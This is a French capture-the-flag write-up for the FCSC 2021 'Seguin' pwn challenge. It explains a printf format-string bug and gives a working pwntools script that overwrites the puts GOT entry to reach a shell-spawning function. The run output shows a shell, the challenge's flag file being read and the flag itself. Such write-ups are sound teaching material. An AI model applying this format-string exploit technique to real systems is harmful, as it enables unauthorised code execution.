Solution de mandragore pour Seguin

pwn x86/x64

12 janvier 2025

Après quelques tests, on s’aperçoit rapidement que c’est un classique détournement de printf ; %n écrit à l’emplacement de l’argument. L’analyse du binaire (avec BinaryNinja) le confirme, et nous apprend qu’il existe une fonction chevre() qui appelle /bin/sh. Le binaire n’étant pas chargé avec de l’ASLR, et le code étant i386 (offsets “courts”), j’ai choisi l’écrasement de l’adresse de la fonction puts dans la section .got.plt par l’adresse de la fonction chevre(). En effet puts() est appelé juste après le printf.

#!/usr/bin/env python3

from pwn import *

# context.log_level="DEBUG"
context.arch = "i386"  # not amd64

where = 0xDEADFED5
where = 0x0804C018  # *puts dans .got.plt
what = 0x11223344
what = 0x080491B2  # chevre()

local = False
debug = False

if local:
    p = process("./seguin", stdin=PTY)
    if debug:
        gdb.attach(
            p,
            gdbscript="""
            break *main+0xac
            break *main+0xbe
            c
            """,
        )
else:
    p = remote("127.0.0.1", 4000)

bin = ELF("./seguin")
print("shellfunc at :" + hex(bin.sym["chevre"]))

p.recvuntil(b"chercher")

sc = p32(where)  # addresse où écrire
sc += str("%c%c").encode()  # padding pour arriver à l'adresse
what -= 4 + 2  # on corrige la longeur
sc += str("%0" + str(what) + "x").encode()  # .. qui va être écrit à l'adresse
sc += str("%n").encode()

print("please wait, loading up shellcode")
p.sendline(sc)

p.clean()
p.sendline(b"uname -a")

p.interactive()
$ ./exploit.py
[+] Opening connection to 127.0.0.1 on port 4000: Done
[*] '/opt/hackropole/fcsc2021/seguin/seguin'
Arch:       i386-32-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)
Stripped:   No
shellfunc at :0x80491b2
please wait, loading up shellcode
[*] Switching to interactive mode
Linux 2eda21e15d74 5.15.0-105-generic #115-Ubuntu SMP Mon Apr 15 09:52:04 UTC 2024 x86_64 GNU/Linux
$ ls -al
total 28
drwxr-xr-x 1 root root  4096 Nov 29  2023 .
drwxr-xr-x 1 root root  4096 Jan 12 21:08 ..
-r-------- 1 ctf  ctf     71 Oct 25  2023 flag.txt
-r-x------ 1 ctf  ctf  15608 Oct 25  2023 seguin
$ cat flag.txt
FCSC{1a8b4cd78b8dfa2ea2644ade38fcdb7f116a4953ea05d944d6683c6c365c47f6}